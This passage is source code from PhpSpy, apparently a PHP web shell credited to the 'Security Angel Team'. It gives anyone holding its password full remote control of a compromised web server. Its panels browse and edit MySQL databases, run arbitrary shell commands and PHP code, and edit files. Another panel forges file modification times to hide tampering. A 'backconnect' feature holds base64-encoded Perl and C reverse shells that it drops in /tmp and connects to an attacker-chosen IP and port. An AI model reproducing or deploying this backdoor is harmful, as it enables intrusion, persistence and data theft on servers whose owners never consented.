776 $tablename = '';
777 } else {
778 m(mysql_error());
779 }
780 }
781
782 $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');
783
784 formhead(array('title'=>'MYSQL Manager'));
785 makehide('action','sqladmin');
786 p('<p>');
787 p('DBHost:');
788 makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
789 p(':');
790 makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
791 p('DBUser:');
792 makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
793 p('DBPass:');
794 makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
795 p('DBCharset:');
796 makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));
797 makeinput(array('name'=>'connect','value'=>'Connect','type'=>'submit','class'=>'bt'));
798 p('</p>');
799 formfoot();
800?>
801<script type="text/javascript">
802function editrecord(action, base64, tablename){
803 if (action == 'del') {
804 if (!confirm('Is or isn\'t deletion record?')) return;
805 }
806 $('recordlist').doing.value=action;
807 $('recordlist').base64.value=base64;
808 $('recordlist').tablename.value=tablename;
809 $('recordlist').submit();
810}
811function moddbname(dbname) {
812 if(!dbname) return;
813 $('setdbname').dbname.value=dbname;
814 $('setdbname').submit();
815}
816function settable(tablename,doing,page) {
817 if(!tablename) return;
818 if (doing) {
819 $('settable').doing.value=doing;
820 }
821 if (page) {
822 $('settable').page.value=page;
823 }
824 $('settable').tablename.value=tablename;
825 $('settable').submit();
826}
827</script>
828<?php
829 //æ“作记录
830 formhead(array('name'=>'recordlist'));
831 makehide('doing');
832 makehide('action','sqladmin');
833 makehide('base64');
834 makehide('tablename');
835 p($dbform);
836 formfoot();
837
838 //选定数æ®åº“
839 formhead(array('name'=>'setdbname'));
840 makehide('action','sqladmin');
841 p($dbform);
842 if (!$dbname) {
843 makehide('dbname');
844 }
845 formfoot();
846
847 //选定表
848 formhead(array('name'=>'settable'));
849 makehide('action','sqladmin');
850 p($dbform);
851 makehide('tablename');
852 makehide('page',$page);
853 makehide('doing');
854 formfoot();
855
856 $cachetables = array();
857 $pagenum = 30;
858 $page = intval($page);
859 if($page) {
860 $start_limit = ($page - 1) * $pagenum;
861 } else {
862 $start_limit = 0;
863 $page = 1;
864 }
865 if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) {
866 dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
867 //èŽ·å–æ•°æ®åº“ä¿¡æ¯
868 $mysqlver = mysql_get_server_info();
869 p('<p>MySQL '.$mysqlver.' running in '.$dbhost.' as '.$dbuser.'@'.$dbhost.'</p>');
870 $highver = $mysqlver > '4.1' ? 1 : 0;
871
872 //èŽ·å–æ•°æ®åº“
873 $query = q("SHOW DATABASES");
874 $dbs = array();
875 $dbs[] = '-- Select a database --';
876 while($db = mysql_fetch_array($query)) {
877 $dbs[$db['Database']] = $db['Database'];
878 }
879 makeselect(array('title'=>'Please select a database:','name'=>'db[]','option'=>$dbs,'selected'=>$dbname,'onchange'=>'moddbname(this.options[this.selectedIndex].value)','newline'=>1));
880 $tabledb = array();
881 if ($dbname) {
882 p('<p>');
883 p('Current dababase: <a href="javascript:moddbname(\''.$dbname.'\');">'.$dbname.'</a>');
884 if ($tablename) {
885 p(' | Current Table: <a href="javascript:settable(\''.$tablename.'\');">'.$tablename.'</a> [ <a href="javascript:settable(\''.$tablename.'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$tablename.'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$tablename.'\', \'drop\');">Drop</a> ]');
886 }
887 p('</p>');
888 mysql_select_db($dbname);
889
890 $getnumsql = '';
891 $runquery = 0;
892 if ($sql_query) {
893 $runquery = 1;
894 }
895 $allowedit = 0;
896 if ($tablename && !$sql_query) {
897 $sql_query = "SELECT * FROM $tablename";
898 $getnumsql = $sql_query;
899 $sql_query = $sql_query." LIMIT $start_limit, $pagenum";
900 $allowedit = 1;
901 }
902 p('<form action="'.$self.'" method="POST">');
903 p('<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">Run SQL query/queries on database '.$dbname.':</td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">'.htmlspecialchars($sql_query,ENT_QUOTES).'</textarea></td><td style="padding:0 5px;"><input class="bt" style="height:50px;" name="submit" type="submit" value="Query" /></td></tr></table></p>');
904 makehide('tablename', $tablename);
905 makehide('action','sqladmin');
906 p($dbform);
907 p('</form>');
908 if ($tablename || ($runquery && $sql_query)) {
909 if ($doing == 'structure') {
910 $result = q("SHOW COLUMNS FROM $tablename");
911 $rowdb = array();
912 while($row = mysql_fetch_array($result)) {
913 $rowdb[] = $row;
914 }
915 p('<table border="0" cellpadding="3" cellspacing="0">');
916 p('<tr class="head">');
917 p('<td>Field</td>');
918 p('<td>Type</td>');
919 p('<td>Null</td>');
920 p('<td>Key</td>');
921 p('<td>Default</td>');
922 p('<td>Extra</td>');
923 p('</tr>');
924 foreach ($rowdb as $row) {
925 $thisbg = bg();
926 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
927 p('<td>'.$row['Field'].'</td>');
928 p('<td>'.$row['Type'].'</td>');
929 p('<td>'.$row['Null'].' </td>');
930 p('<td>'.$row['Key'].' </td>');
931 p('<td>'.$row['Default'].' </td>');
932 p('<td>'.$row['Extra'].' </td>');
933 p('</tr>');
934 }
935 tbfoot();
936 } elseif ($doing == 'insert' || $doing == 'edit') {
937 $result = q('SHOW COLUMNS FROM '.$tablename);
938 while ($row = mysql_fetch_array($result)) {
939 $rowdb[] = $row;
940 }
941 $rs = array();
942 if ($doing == 'insert') {
943 p('<h2>Insert new line in '.$tablename.' table »</h2>');
944 } else {
945 p('<h2>Update record in '.$tablename.' table »</h2>');
946 $where = base64_decode($base64);
947 $result = q("SELECT * FROM $tablename WHERE $where LIMIT 1");
948 $rs = mysql_fetch_array($result);
949 }
950 p('<form method="post" action="'.$self.'">');
951 p($dbform);
952 makehide('action','sqladmin');
953 makehide('tablename',$tablename);
954 p('<table border="0" cellpadding="3" cellspacing="0">');
955 foreach ($rowdb as $row) {
956 if ($rs[$row['Field']]) {
957 $value = htmlspecialchars($rs[$row['Field']]);
958 } else {
959 $value = '';
960 }
961 $thisbg = bg();
962 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
963 p('<td><b>'.$row['Field'].'</b><br />'.$row['Type'].'</td><td><textarea class="area" name="insertsql['.$row['Field'].']" style="width:500px;height:60px;overflow:auto;">'.$value.'</textarea></td></tr>');
964 }
965 if ($doing == 'insert') {
966 p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="insert" value="Insert" /></td></tr>');
967 } else {
968 p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="update" value="Update" /></td></tr>');
969 makehide('base64', $base64);
970 }
971 p('</table></form>');
972 } else {
973 $querys = @explode(';',$sql_query);
974 foreach($querys as $num=>$query) {
975 if ($query) {
976 p("<p><b>Query#{$num} : ".htmlspecialchars($query,ENT_QUOTES)."</b></p>");
977 switch(qy($query))
978 {
979 case 0:
980 p('<h2>Error : '.mysql_error().'</h2>');
981 break;
982 case 1:
983 if (strtolower(substr($query,0,13)) == 'select * from') {
984 $allowedit = 1;
985 }
986 if ($getnumsql) {
987 $tatol = mysql_num_rows(q($getnumsql));
988 $multipage = multi($tatol, $pagenum, $page, $tablename);
989 }
990 if (!$tablename) {
991 $sql_line = str_replace(array("\r", "\n", "\t"), array(' ', ' ', ' '), trim(htmlspecialchars($query)));
992 $sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line);
993 preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i",$sql_line,$matches);
994 $tablename = $matches[1][0];
995 }
996 $result = q($query);
997 p($multipage);
998 p('<table border="0" cellpadding="3" cellspacing="0">');
999 p('<tr class="head">');
1000 if ($allowedit) p('<td>Action</td>');
1001 $fieldnum = @mysql_num_fields($result);
1002 for($i=0;$i<$fieldnum;$i++){
1003 $name = @mysql_field_name($result, $i);
1004 $type = @mysql_field_type($result, $i);
1005 $len = @mysql_field_len($result, $i);
1006 p("<td nowrap>$name<br><span>$type($len)</span></td>");
1007 }
1008 p('</tr>');
1009 while($mn = @mysql_fetch_assoc($result)){
1010 $thisbg = bg();
1011 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
1012 $where = $tmp = $b1 = '';
1013 foreach($mn as $key=>$inside){
1014 if ($inside) {
1015 $where .= $tmp.$key."='".addslashes($inside)."'";
1016 $tmp = ' AND ';
1017 }
1018 $b1 .= '<td nowrap>'.html_clean($inside).' </td>';
1019 }
1020 $where = base64_encode($where);
1021 if ($allowedit) p('<td nowrap><a href="javascript:editrecord(\'edit\', \''.$where.'\', \''.$tablename.'\');">Edit</a> | <a href="javascript:editrecord(\'del\', \''.$where.'\', \''.$tablename.'\');">Del</a></td>');
1022 p($b1);
1023 p('</tr>');
1024 unset($b1);
1025 }
1026 tbfoot();
1027 p($multipage);
1028 break;
1029 case 2:
1030 $ar = mysql_affected_rows();
1031 p('<h2>affected rows : <b>'.$ar.'</b></h2>');
1032 break;
1033 }
1034 }
1035 }
1036 }
1037 } else {
1038 $query = q("SHOW TABLE STATUS");
1039 $table_num = $table_rows = $data_size = 0;
1040 $tabledb = array();
1041 while($table = mysql_fetch_array($query)) {
1042 $data_size = $data_size + $table['Data_length'];
1043 $table_rows = $table_rows + $table['Rows'];
1044 $table['Data_length'] = sizecount($table['Data_length']);
1045 $table_num++;
1046 $tabledb[] = $table;
1047 }
1048 $data_size = sizecount($data_size);
1049 unset($table);
1050 p('<table border="0" cellpadding="0" cellspacing="0">');
1051 p('<form action="'.$self.'" method="POST">');
1052 makehide('action','sqladmin');
1053 p($dbform);
1054 p('<tr class="head">');
1055 p('<td width="2%" align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td>');
1056 p('<td>Name</td>');
1057 p('<td>Rows</td>');
1058 p('<td>Data_length</td>');
1059 p('<td>Create_time</td>');
1060 p('<td>Update_time</td>');
1061 if ($highver) {
1062 p('<td>Engine</td>');
1063 p('<td>Collation</td>');
1064 }
1065 p('</tr>');
1066 foreach ($tabledb as $key => $table) {
1067 $thisbg = bg();
1068 p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
1069 p('<td align="center" width="2%"><input type="checkbox" name="table[]" value="'.$table['Name'].'" /></td>');
1070 p('<td><a href="javascript:settable(\''.$table['Name'].'\');">'.$table['Name'].'</a> [ <a href="javascript:settable(\''.$table['Name'].'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'drop\');">Drop</a> ]</td>');
1071 p('<td>'.$table['Rows'].'</td>');
1072 p('<td>'.$table['Data_length'].'</td>');
1073 p('<td>'.$table['Create_time'].'</td>');
1074 p('<td>'.$table['Update_time'].'</td>');
1075 if ($highver) {
1076 p('<td>'.$table['Engine'].'</td>');
1077 p('<td>'.$table['Collation'].'</td>');
1078 }
1079 p('</tr>');
1080 }
1081 p('<tr class='.bg().'>');
1082 p('<td> </td>');
1083 p('<td>Total tables: '.$table_num.'</td>');
1084 p('<td>'.$table_rows.'</td>');
1085 p('<td>'.$data_size.'</td>');
1086 p('<td colspan="'.($highver ? 4 : 2).'"> </td>');
1087 p('</tr>');
1088
1089 p("<tr class=\"".bg()."\"><td colspan=\"".($highver ? 8 : 6)."\"><input name=\"saveasfile\" value=\"1\" type=\"checkbox\" /> Save as file <input class=\"input\" name=\"path\" value=\"".SA_ROOT.$_SERVER['HTTP_HOST']."_MySQL.sql\" type=\"text\" size=\"60\" /> <input class=\"bt\" type=\"submit\" name=\"downrar\" value=\"Export selection table\" /></td></tr>");
1090 makehide('doing','backupmysql');
1091 formfoot();
1092 p("</table>");
1093 fr($query);
1094 }
1095 }
1096 }
1097 tbfoot();
1098 @mysql_close();
1099}//end sql backup
1100
1101
1102elseif ($action == 'backconnect') {
1103 !$yourip && $yourip = $_SERVER['REMOTE_ADDR'];
1104 !$yourport && $yourport = '12345';
1105 $usedb = array('perl'=>'perl','c'=>'c');
1106
1107 $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
1108 "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
1109 "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
1110 "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
1111 "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
1112 "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
1113 "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
1114 $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC".
1115 "BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb".
1116 "SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd".
1117 "KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ".
1118 "sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC".
1119 "Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D".
1120 "QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp".
1121 "Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
1122
1123 if ($start && $yourip && $yourport && $use){
1124 if ($use == 'perl') {
1125 cf('/tmp/angel_bc',$back_connect);
1126 $res = execute(which('perl')." /tmp/angel_bc $yourip $yourport &");
1127 } else {
1128 cf('/tmp/angel_bc.c',$back_connect_c);
1129 $res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c');
1130 @unlink('/tmp/angel_bc.c');
1131 $res = execute("/tmp/angel_bc $yourip $yourport &");
1132 }
1133 m("Now script try connect to $yourip port $yourport ...");
1134 }
1135
1136 formhead(array('title'=>'Back Connect'));
1137 makehide('action','backconnect');
1138 p('<p>');
1139 p('Your IP:');
1140 makeinput(array('name'=>'yourip','size'=>20,'value'=>$yourip));
1141 p('Your Port:');
1142 makeinput(array('name'=>'yourport','size'=>15,'value'=>$yourport));
1143 p('Use:');
1144 makeselect(array('name'=>'use','option'=>$usedb,'selected'=>$use));
1145 makeinput(array('name'=>'start','value'=>'Start','type'=>'submit','class'=>'bt'));
1146 p('</p>');
1147 formfoot();
1148}//end sql backup
1149
1150elseif ($action == 'eval') {
1151 $phpcode = trim($phpcode);
1152 if($phpcode){
1153 if (!preg_match('#<\?#si', $phpcode)) {
1154 $phpcode = "<?php\n\n{$phpcode}\n\n?>";
1155 }
1156 eval("?".">$phpcode<?");
1157 }
1158 formhead(array('title'=>'Eval PHP Code'));
1159 makehide('action','eval');
1160 maketext(array('title'=>'PHP Code','name'=>'phpcode', 'value'=>$phpcode));
1161 p('<p><a href="http://www.4ngel.net/phpspy/plugin/" target="_blank">Get plugins</a></p>');
1162 formfooter();
1163}//end eval
1164
1165elseif ($action == 'editfile') {
1166 if(file_exists($opfile)) {
1167 $fp=@fopen($opfile,'r');
1168 $contents=@fread($fp, filesize($opfile));
1169 @fclose($fp);
1170 $contents=htmlspecialchars($contents);
1171 }
1172 formhead(array('title'=>'Create / Edit File'));
1173 makehide('action','file');
1174 makehide('dir',$nowpath);
1175 makeinput(array('title'=>'Current File (import new file name and new file)','name'=>'editfilename','value'=>$opfile,'newline'=>1));
1176 maketext(array('title'=>'File Content','name'=>'filecontent','value'=>$contents));
1177 formfooter();
1178}//end editfile
1179
1180elseif ($action == 'newtime') {
1181 $opfilemtime = @filemtime($opfile);
1182 //$time = strtotime("$year-$month-$day $hour:$minute:$second");
1183 $cachemonth = array('January'=>1,'February'=>2,'March'=>3,'April'=>4,'May'=>5,'June'=>6,'July'=>7,'August'=>8,'September'=>9,'October'=>10,'November'=>11,'December'=>12);
1184 formhead(array('title'=>'Clone file was last modified time'));
1185 makehide('action','file');
1186 makehide('dir',$nowpath);
1187 makeinput(array('title'=>'Alter file','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
1188 makeinput(array('title'=>'Reference file (fullpath)','name'=>'tarfile','size'=>120,'newline'=>1));
1189 formfooter();
1190 formhead(array('title'=>'Set last modified'));
1191 makehide('action','file');
1192 makehide('dir',$nowpath);
1193 makeinput(array('title'=>'Current file (fullpath)','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
1194 p('<p>Instead »');
1195 p('year:');
1196 makeinput(array('name'=>'year','value'=>date('Y',$opfilemtime),'size'=>4));
1197 p('month:');
1198 makeinput(array('name'=>'month','value'=>date('m',$opfilemtime),'size'=>2));
1199 p('day:');
1200 makeinput(array('name'=>'day','value'=>date('d',$opfilemtime),'size'=>2));
1201 p('hour:');
1202 makeinput(array('name'=>'hour','value'=>date('H',$opfilemtime),'size'=>2));
1203 p('minute:');
1204 makeinput(array('name'=>'minute','value'=>date('i',$opfilemtime),'size'=>2));
1205 p('second:');
1206 makeinput(array('name'=>'second','value'=>date('s',$opfilemtime),'size'=>2));
1207 p('</p>');
1208 formfooter();
1209}//end newtime
1210
1211elseif ($action == 'shell') {
1212 if (IS_WIN && IS_COM) {
1213 if($program && $parameter) {
1214 $shell= new COM('Shell.Application');
1215 $a = $shell->ShellExecute($program,$parameter);
1216 m('Program run has '.(!$a ? 'success' : 'fail'));
1217 }
1218 !$program && $program = 'c:\windows\system32\cmd.exe';
1219 !$parameter && $parameter = '/c net start > '.SA_ROOT.'log.txt';
1220 formhead(array('title'=>'Execute Program'));
1221 makehide('action','shell');
1222 makeinput(array('title'=>'Program','name'=>'program','value'=>$program,'newline'=>1));
1223 p('<p>');
1224 makeinput(array('title'=>'Parameter','name'=>'parameter','value'=>$parameter));
1225 makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
1226 p('</p>');
1227 formfoot();
1228 }
1229 formhead(array('title'=>'Execute Command'));
1230 makehide('action','shell');
1231 if (IS_WIN && IS_COM) {
1232 $execfuncdb = array('phpfunc'=>'phpfunc','wscript'=>'wscript','proc_open'=>'proc_open');
1233 makeselect(array('title'=>'Use:','name'=>'execfunc','option'=>$execfuncdb,'selected'=>$execfunc,'newline'=>1));
1234 }
1235 p('<p>');
1236 makeinput(array('title'=>'Command','name'=>'command','value'=>$command));
1237 makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
1238 p('</p>');
1239 formfoot();
1240
1241 if ($command) {
1242 p('<hr width="100%" noshade /><pre>');
1243 if ($execfunc=='wscript' && IS_WIN && IS_COM) {
1244 $wsh = new COM('WScript.shell');
1245 $exec = $wsh->exec('cmd.exe /c '.$command);
1246 $stdout = $exec->StdOut();
1247 $stroutput = $stdout->ReadAll();
1248 echo $stroutput;
1249 } elseif ($execfunc=='proc_open' && IS_WIN && IS_COM) {
1250 $descriptorspec = array(
1251 0 => array('pipe', 'r'),
1252 1 => array('pipe', 'w'),
1253 2 => array('pipe', 'w')
1254 );
1255 $process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);
1256 if (is_resource($process)) {
1257 fwrite($pipes[0], $command."\r\n");
1258 fwrite($pipes[0], "exit\r\n");
1259 fclose($pipes[0]);
1260 while (!feof($pipes[1])) {
1261 echo fgets($pipes[1], 1024);
1262 }
1263 fclose($pipes[1]);
1264 while (!feof($pipes[2])) {
1265 echo fgets($pipes[2], 1024);
1266 }
1267 fclose($pipes[2]);
1268 proc_close($process);
1269 }
1270 } else {
1271 echo(execute($command));
1272 }
1273 p('</pre>');
1274 }
1275}//end shell
1276
1277elseif ($action == 'phpenv') {
1278 $upsize=getcfg('file_uploads') ? getcfg('upload_max_filesize') : 'Not allowed';
1279 $adminmail=isset($_SERVER['SERVER_ADMIN']) ? $_SERVER['SERVER_ADMIN'] : getcfg('sendmail_from');
1280 !$dis_func && $dis_func = 'No';
1281 $info = array(
1282 1 => array('Server Time',date('Y/m/d h:i:s',$timestamp)),
1283 2 => array('Server Domain',$_SERVER['SERVER_NAME']),
1284 3 => array('Server IP',gethostbyname($_SERVER['SERVER_NAME'])),
1285 4 => array('Server OS',PHP_OS),
1286 5 => array('Server OS Charset',$_SERVER['HTTP_ACCEPT_LANGUAGE']),
1287 6 => array('Server Software',$_SERVER['SERVER_SOFTWARE']),
1288 7 => array('Server Web Port',$_SERVER['SERVER_PORT']),
1289 8 => array('PHP run mode',strtoupper(php_sapi_name())),
1290 9 => array('The file path',__FILE__),
1291
1292 10 => array('PHP Version',PHP_VERSION),
1293 11 => array('PHPINFO',(IS_PHPINFO ? '<a href="javascript:goaction(\'phpinfo\');">Yes</a>' : 'No')),
1294 12 => array('Safe Mode',getcfg('safe_mode')),
1295 13 => array('Administrator',$adminmail),
1296 14 => array('allow_url_fopen',getcfg('allow_url_fopen')),
1297 15 => array('enable_dl',getcfg('enable_dl')),
1298 16 => array('display_errors',getcfg('display_errors')),
1299 17 => array('register_globals',getcfg('register_globals')),
1300 18 => array('magic_quotes_gpc',getcfg('magic_quotes_gpc')),
1301 19 => array('memory_limit',getcfg('memory_limit')),
1302 20 => array('post_max_size',getcfg('post_max_size')),
1303 21 => array('upload_max_filesize',$upsize),
1304 22 => array('max_execution_time',getcfg('max_execution_time').' second(s)'),
1305 23 => array('disable_functions',$dis_func),
1306 );
1307
1308 if($phpvarname) {
1309 m($phpvarname .' : '.getcfg($phpvarname));
1310 }
1311
1312 formhead(array('title'=>'Server environment'));
1313 makehide('action','phpenv');
1314 makeinput(array('title'=>'Please input PHP configuration parameter(eg:magic_quotes_gpc)','name'=>'phpvarname','value'=>$phpvarname,'newline'=>1));
1315 formfooter();
1316
1317 $hp = array(0=> 'Server', 1=> 'PHP');
1318 for($a=0;$a<2;$a++) {
1319 p('<h2>'.$hp[$a].' »</h2>');
1320 p('<ul class="info">');
1321 if ($a==0) {
1322 for($i=1;$i<=9;$i++) {
1323 p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
1324 }
1325 } elseif ($a == 1) {
1326 for($i=10;$i<=23;$i++) {
1327 p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
1328 }
1329 }
1330 p('</ul>');
1331 }
1332}//end phpenv
1333
1334else {
1335 m('Undefined Action');
1336}
1337
1338?>
1339</td></tr></table>
1340<div style="padding:10px;border-bottom:1px solid #fff;border-top:1px solid #ddd;background:#eee;">
1341 <span style="float:right;"><?php debuginfo();ob_end_flush();?></span>
1342 Copyright (C) 2004-2008 <a href="http://www.4ngel.net" target="_blank">Security Angel Team [S4T]</a> All Rights Reserved.
1343</div>
1344</body>
1345</html>
1346
1347<?php
1348
1349/*======================================================
1350函数库
1351======================================================*/
1352
1353function m($msg) {
1354 echo '<div style="background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:center;font-weight:bold;">';
1355 echo $msg;
1356 echo '</div>';
1357}
1358function scookie($key, $value, $life = 0, $prefix = 1) {
1359 global $admin, $timestamp, $_SERVER;
1360 $key = ($prefix ? $admin['cookiepre'] : '').$key;
1361 $life = $life ? $life : $admin['cookielife'];
1362 $useport = $_SERVER['SERVER_PORT'] == 443 ? 1 : 0;
1363 setcookie($key, $value, $timestamp+$life, $admin['cookiepath'], $admin['cookiedomain'], $useport);
1364}
1365function multi($num, $perpage, $curpage, $tablename) {
1366 $multipage = '';
1367 if($num > $perpage) {
1368 $page = 10;
1369 $offset = 5;
1370 $pages = @ceil($num / $perpage);
1371 if($page > $pages) {
1372 $from = 1;
1373 $to = $pages;
1374 } else {
1375 $from = $curpage - $offset;
1376 $to = $curpage + $page - $offset - 1;
1377 if($from < 1) {
1378 $to = $curpage + 1 - $from;
1379 $from = 1;
1380 if(($to - $from) < $page && ($to - $from) < $pages) {
1381 $to = $page;
1382 }
1383 } elseif($to > $pages) {
1384 $from = $curpage - $pages + $to;
1385 $to = $pages;
1386 if(($to - $from) < $page && ($to - $from) < $pages) {
1387 $from = $pages - $page + 1;
1388 }
1389 }
1390 }
1391 $multipage = ($curpage - $offset > 1 && $pages > $page ? '<a href="javascript:settable(\''.$tablename.'\', \'\', 1);">First</a> ' : '').($curpage > 1 ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage - 1).');">Prev</a> ' : '');
1392 for($i = $from; $i <= $to; $i++) {
1393 $multipage .= $i == $curpage ? $i.' ' : '<a href="javascript:settable(\''.$tablename.'\', \'\', '.$i.');">['.$i.']</a> ';
1394 }
1395 $multipage .= ($curpage < $pages ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage + 1).');">Next</a>' : '').($to < $pages ? ' <a href="javascript:settable(\''.$tablename.'\', \'\', '.$pages.');">Last</a>' : '');
1396 $multipage = $multipage ? '<p>Pages: '.$multipage.'</p>' : '';
1397 }
1398 return $multipage;
1399}
1400// 登陆入å£
1401function loginpage() {
1402?>
1403 <style type="text/css">
1404 input {font:11px Verdana;BACKGROUND: #FFFFFF;height: 18px;border: 1px solid #666666;}
1405 </style>
1406 <form method="POST" action="">
1407 <span style="font:11px Verdana;">Password: </span><input name="password" type="password" size="20">
1408 <input type="hidden" name="doing" value="login">
1409 <input type="submit" value="Login">
1410 </form>
1411<?php
1412 exit;
1413}//end loginpage()
1414
1415function execute($cfe) {
1416 $res = '';
1417 if ($cfe) {
1418 if(function_exists('exec')) {
1419 @exec($cfe,$res);
1420 $res = join("\n",$res);
1421 } elseif(function_exists('shell_exec')) {
1422 $res = @shell_exec($cfe);
1423 } elseif(function_exists('system')) {
1424 @ob_start();
1425 @system($cfe);
1426 $res = @ob_get_contents();
1427 @ob_end_clean();
1428 } elseif(function_exists('passthru')) {
1429 @ob_start();
1430 @passthru($cfe);
1431 $res = @ob_get_contents();
1432 @ob_end_clean();
1433 } elseif(@is_resource($f = @popen($cfe,"r"))) {
1434 $res = '';
1435 while(!@feof($f)) {
1436 $res .= @fread($f,1024);
1437 }
1438 @pclose($f);
1439 }
1440 }
1441 return $res;
1442}
1443function which($pr) {
1444 $path = execute("which $pr");
1445 return ($path ? $path : $pr);
1446}
1447
1448function cf($fname,$text){
1449 if($fp=@fopen($fname,'w')) {
1450 @fputs($fp,@base64_decode($text));
1451 @fclose($fp);
1452 }
1453}
1454
1455// 页é¢è°ƒè¯•ä¿¡æ¯
1456function debuginfo() {
1457 global $starttime;
1458 $mtime = explode(' ', microtime());
1459 $totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6);
1460 echo 'Processed in '.$totaltime.' second(s)';
1461}
1462
1463//连接数æ®åº“
1464function dbconn($dbhost,$dbuser,$dbpass,$dbname='',$charset='',$dbport='3306') {
1465 if(!$link = @mysql_connect($dbhost.':'.$dbport, $dbuser, $dbpass)) {
1466 p('<h2>Can not connect to MySQL server</h2>');
1467 exit;
1468 }
1469 if($link && $dbname) {
1470 if (!@mysql_select_db($dbname, $link)) {
1471 p('<h2>Database selected has error</h2>');
1472 exit;
1473 }
1474 }
1475 if($link && mysql_get_server_info() > '4.1') {
1476 if(in_array(strtolower($charset), array('gbk', 'big5', 'utf8'))) {
1477 q("SET character_set_connection=$charset, character_set_results=$charset, character_set_client=binary;", $link);
1478 }
1479 }
1480 return $link;
1481}
1482
1483// 去掉转义å—符
1484function s_array(&$array) {
1485 if (is_array($array)) {
1486 foreach ($array as $k => $v) {
1487 $array[$k] = s_array($v);
1488 }
1489 } else if (is_string($array)) {
1490 $array = stripslashes($array);
